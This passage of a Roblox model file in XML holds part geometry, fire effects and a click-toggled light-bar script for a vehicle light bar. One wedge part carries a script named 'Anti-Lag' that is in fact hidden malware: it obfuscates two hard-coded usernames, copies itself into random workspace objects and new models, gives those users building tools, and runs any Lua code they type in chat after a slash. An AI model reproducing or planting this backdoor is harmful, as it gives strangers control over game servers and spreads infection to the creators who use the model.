											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX1788">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Script</string>
											<ProtectedString name="Source">On=false 
function onClicked() 
if On then On=false else 
On=true 
while On do 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=1 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
end 
end 
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked) </ProtectedString>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Model" referent="RBX1789">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX1790">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX1791">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX1792">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.90002</X>
											<Y>11.5999994</Y>
											<Z>21</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>-1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000191117404</X>
											<Y>4.59203948e-005</Y>
											<Z>0.000207261153</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1793">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX1794">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1795">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.90002</X>
											<Y>12.3999987</Y>
											<Z>21</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000187202473</X>
											<Y>4.59203948e-005</Y>
											<Z>0.000205376942</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>6</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1796">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX1797">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX1798">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.9585</X>
											<Y>11.5896177</Y>
											<Z>23.5072403</Z>
											<R00>-0.999998629</R00>
											<R01>0.000250717625</R01>
											<R02>-0.00157404237</R02>
											<R10>0.000251085497</R10>
											<R11>0.99999994</R11>
											<R12>-0.000234342529</R12>
											<R20>0.00157396472</R20>
											<R21>-0.000234736712</R21>
											<R22>-0.999998748</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000190815816</X>
											<Y>5.15394786e-005</Y>
											<Z>0.000207277379</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1799">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX1800">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1607.32666</X>
											<Y>11.5894985</Y>
											<Z>18.276123</Z>
											<R00>0.998214245</R00>
											<R01>-0.000400954857</R01>
											<R02>0.0597334355</R02>
											<R10>0.000396976247</R10>
											<R11>0.99999994</R11>
											<R12>7.84697477e-005</R12>
											<R20>-0.0597334467</R20>
											<R21>-5.461619e-005</R21>
											<R22>0.998214483</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0.00277542719</X>
											<Y>0.00348470174</Y>
											<Z>-0.00129063101</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.00383983552</X>
											<Y>-0.00427938486</Y>
											<Z>0.00390739413</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1801">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX1802">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Anti-Lag</string>
											<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1803">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.90002</X>
											<Y>11.5999994</Y>
											<Z>22.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000190906576</X>
											<Y>4.94532978e-005</Y>
											<Z>0.000207261153</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1804">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX1805">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1806">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.90002</X>
											<Y>11.5999994</Y>
											<Z>19.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000191328218</X>
											<Y>4.23874917e-005</Y>
